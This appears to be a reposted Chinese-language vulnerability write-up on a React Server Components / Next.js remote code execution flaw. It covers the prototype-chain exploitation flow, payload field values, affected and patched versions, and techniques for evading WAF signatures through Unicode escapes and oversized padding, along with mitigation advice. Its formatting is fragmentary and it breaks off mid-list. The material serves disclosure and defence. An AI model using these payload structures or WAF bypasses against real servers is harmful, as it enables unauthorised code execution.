Exploitation Flow```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

自引用 Thenable（then）

then: "$1:__proto__:then" 创建了一个自引用，该引用解析为一个 真实函数：``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) 使用 this._response - 攻击者伪造的 _response：```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Stage 1: 外部对象的自引用 then 触发分块处理

Stage 2: 当 React 解析模型时，它会解析 value 并遇到另一个带有 then: "$B1337" 的 thenable。$B 前缀触发处理器：```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

React 的内部代码在处理过程中可能会访问 response._chunks.get() 或 response._chunks.has()。空的 Map 可以无错误地满足这些调用，从而使执行流到达存在漏洞的 $B 处理器。

易受攻击的代码路径

decodeReply() 是入口点，本身并不易受攻击。

路径遍历（getOutlinedModel()）：```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B 处理器 RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. getOutlinedModel() 中的 hasOwnProperty 检查 - 阻止原型链遍历 ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. __proto__ 在 reviveModel() 中的处理 - 防止原型污染 ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. 在 initializeModelChunk() 中进行类型检查 - 验证监听器 ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

影响与版本

影响评估

受影响版本

• react-server-dom-webpack：19.0.0、19.1.0、19.1.1、19.2.0
• react-server-dom-turbopack：相同版本
• Next.js：15.x、16.x（补丁发布前），14.3.0-canary.77+ 及之后的 canary 版本

修复版本

• React：19.0.1+、19.1.2+、19.2.1+
• Next.js：15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7+

为什么基于特征签名的 WAF 检测会失效

本节解释为什么传统的模式匹配 WAF 规则无法可靠地检测此漏洞。了解这些局限性对于安全团队评估其防御态势至关重要。

核心问题：多层编码

攻击载荷会经过多个解析器，每个解析器支持不同的编码方式。检查原始 HTTP 字节的 WAF 看到的是编码后的字符串，但服务器在处理前会对它们进行解码：

这造成了根本性的不匹配：WAF 看到的是编码字节，而应用程序看到的是解码后的字符串。

签名需要匹配的内容

一个简单的 WAF 可能会查找类似 constructor、__proto__、resolved_model 或 child_process 的模式。然而，JSON 允许对任何字符使用 Unicode 转义：

载荷中的 JavaScript 代码拥有更多编码选项：

检测盲区

当所有编码技术组合使用时：

• JSON 键变成 Unicode 序列（then 变为 \u0074\u0068\u0065\u006e）
• JS 标识符变成数字数组（child_process 变为 S(99,104,105,108,100,95,...)）
• 原始载荷中找不到任何可识别的关键字

扫描 HTTP 主体的 WAF 看到的只是转义序列和数字——没有任何与传统攻击签名匹配的内容。

为什么这对防御者很重要

1. 基于签名的规则会带来虚假的安全感——载荷在未被检测的情况下到达服务器
2. 编码方式是无限的——每个字符都可以用不同方式转义；正则表达式无法穷举所有变体
3. 该攻击符合协议规范——所有编码按照规范来说都是合法的 JSON/JavaScript

头部检测注意事项

Next-Action 头部用于标识 Server Action 请求。虽然头部名称无法进行 Unicode 编码（RFC 7230 要求使用 ASCII 令牌），但 WAF 与服务器之间的规范化差异造成了检测盲区：

防御建议

打补丁是唯一可靠的缓解措施。 由于编码灵活性，WAF 规则无法全面阻止此攻击。

必需版本：

• React：19.0.1+、19.1.2+、19.2.1+
• Next.js：15.0.5+、15.1.9+、15.2.6+、15.3.6+、15.4.8+、15.5.7+、16.0.7+

如果补丁延迟，请考虑：

1. 先解码再匹配——WAF 必须在模式匹配之前解码 \uXXXX、\xXX 并规范化 fromCharCode() 调用
2. 结构检测——查找包含 _response、_prefix、_chunks 或循环引用（$@0）的 JSON 结构
3. 头部规范化——以不区分大小写的方式匹配 next-action 头部并去除空白
4. 阻止 Server Actions——如果未使用 Server Actions，则完全阻止带有 Next-Action 头部的请求
5. 运行时监控——对使用动态字符串参数调用 Function() 的行为发出告警

关键要点：仅靠模式匹配无法抵御此类攻击。编码空间过于庞大，无法穷举。

AWS WAF Body 检查限制绕过

即使配置了全面的 WAF 规则，AWS WAF 仍存在 Body 检查大小限制，可被利用。本节记录了使用超大载荷进行测试的绕过技术。

Body 检查限制

AWS WAF 仅检查请求体的一部分：

OversizeHandling 问题

WAF 规则指定如何处理超出检查限制的请求：

如果您的 WAF 规则使用 OversizeHandling: CONTINUE（常见默认值），则该绕过轻而易举。

绕过策略：在载荷前添加填充

将无害的填充数据放在攻击载荷之前，使其落入检查窗口之外：``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

跨块拆分的模式：``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

WAF 行为注意事项

注意： AWS WAF 通常在检查前重新组装分块请求体。但具体因环境配置不同，应逐环境验证。

缓解建议

1. 将 OversizeHandling 更改为 MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

这会在满足规则条件时阻止任何超过检查限制的请求。

2. 提高请求体检查限制（仅限 CloudFront/API Gateway） 在 Web ACL 设置中最多可配置 64KB，但这并不能完全阻止绕过。

3. 添加基于大小的阻止规则 阻止带有 Next-Action 头且大小超过合理值（例如 10KB）的 POST 请求。

4. 修补应用程序 —— 唯一完整的解决方案。

测试脚本

参见随附的测试脚本：

• test-simple.cjs —— 基线非分块载荷测试
• test-oversize.cjs —— 测试 0-128KB 的填充大小
• test-chunked-v2.cjs —— 使用 $@ 分割的分块传输编码
• test-chunked-bypass.cjs —— 多种分块策略（5 字节、10 字节、模式分割）

用法：```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

With payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

我们尝试过的受阻路径

虽然我们获得了 Function，但实现 RCE 需要用受控参数调用它。以下路径均未成功：

1. Thenable 路径（已阻止）```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. 迭代器路径 (已阻止)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute